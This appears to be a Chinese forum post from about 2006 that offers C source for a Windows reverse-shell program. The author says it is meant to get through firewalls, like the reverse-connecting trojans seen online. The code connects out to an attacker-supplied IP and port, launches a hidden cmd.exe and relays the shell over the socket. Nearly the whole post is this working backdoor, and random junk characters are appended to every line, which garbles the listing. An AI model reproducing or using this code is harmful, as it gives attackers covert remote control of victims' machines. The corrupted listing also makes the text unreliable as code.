Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 #?_#!T|  
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/* ============================== >Dxe>Q'df  
Rebound port in Windows NT 87pnSj/X"  
By wind,2006/7 'gYg~=  
===============================*/ z23#G>I&  
#include 46ILs1T6  
#include ;"D~W#0-v  
Ha?G=X  
#pragma comment(lib,"wsock32.lib") 2_wvC  
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void OutputShell(); Z A[)  
SOCKET sClient; 00"CC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /\d(c/,4  
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void main(int argc,char **argv) *u}'}jC1X  
{ 3\1#eK'TK.  
WSADATA stWsaData; h 5Hr[E1  
int nRet; Sg_O?.r  
SOCKADDR_IN stSaiClient,stSaiServer; 9YAM#LBTWi  
*-6?  
if(argc != 3) iM"asEU  
{ D'<$ g  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0JK2%%  
return; +N7"EROc  
} w~]T<^fW~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); "sD1T3!\)Q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wE?CvL  
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stSaiClient.sin_family = AF_INET; B@"J]S  
stSaiClient.sin_port = htons(0); )J&|\m(e  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "w9`cz9a~J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z"EWj73  
{ 5\xr?`VZ  
printf("Bind Socket Failed!\n"); q~j)W$k  
return; se#@)LtZ  
} MF^_Z3GS'  
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stSaiServer.sin_family = AF_INET; S!`:E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Xo\S9,s{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eSn$k:\W  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _W}(!TKO  
{ ^zgacn  
printf("Connect Error!"); ?,>5[Ha^?  
return; "T7>)fbu  
} zSKKr?{  
OutputShell(); GB=bG%Tb  
} bJwc1AJgH  
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void OutputShell() (n,N8k;  
{ AX;c}0g  
char szBuff[1024]; '$?du~L-  
SECURITY_ATTRIBUTES stSecurityAttributes; 'AWp6L@  
OSVERSIONINFO stOsversionInfo; F5U|9<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sBU_Ft  
STARTUPINFO stStartupInfo; N}DL(-SQ3  
char *szShell; ' Rc#^U*n  
PROCESS_INFORMATION stProcessInformation; or!!s 5[d  
unsigned long lBytesRead; e}e6r3faz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ws[/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O@wK[(w^  
stSecurityAttributes.lpSecurityDescriptor = 0; \2>3Opt  
stSecurityAttributes.bInheritHandle = TRUE; "Vy WT  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `7\H41%\pp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $''UlWK  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s4bv;W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #A )Ab%r8"  
stStartupInfo.wShowWindow = SW_HIDE; I0_Ecp  
stStartupInfo.hStdInput = hReadPipe; O1'K>teF%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (:n|v%  
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GetVersionEx(&stOsversionInfo); `XgFga)  
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switch(stOsversionInfo.dwPlatformId) 96}eR,  
{ X}W)3v  
case 1: S/7l/DFb  
szShell = "command.com"; ^V.'^=l  
break; 95LyYg  
default: !^?qU;|  
szShell = "cmd.exe"; T?rH ,$:  
break; q:]Q% IC^  
} $8g42LR'  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J|5Ay1eF-  
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send(sClient,szMsg,77,0); 9!#EwPD$#  
while(1) #&BS ?@  
{ c\K<sM{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p+Lv=e)0u  
if(lBytesRead) U\bC0q   
{ q3+8]-9|5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N2FbrfNFa  
send(sClient,szBuff,lBytesRead,0); ;s_"{f`Y6
 
} !8/gL  
else 6$RpV'xz  
{ !y[3]8Xxv  
lBytesRead=recv(sClient,szBuff,1024,0); u"Y]P*[k  
if(lBytesRead<=0) break; 0OW
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Hi8Y6|y$D  
} vyU!+mlc  
} N|Habua<Xw  
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return; !_x*m
@/  
}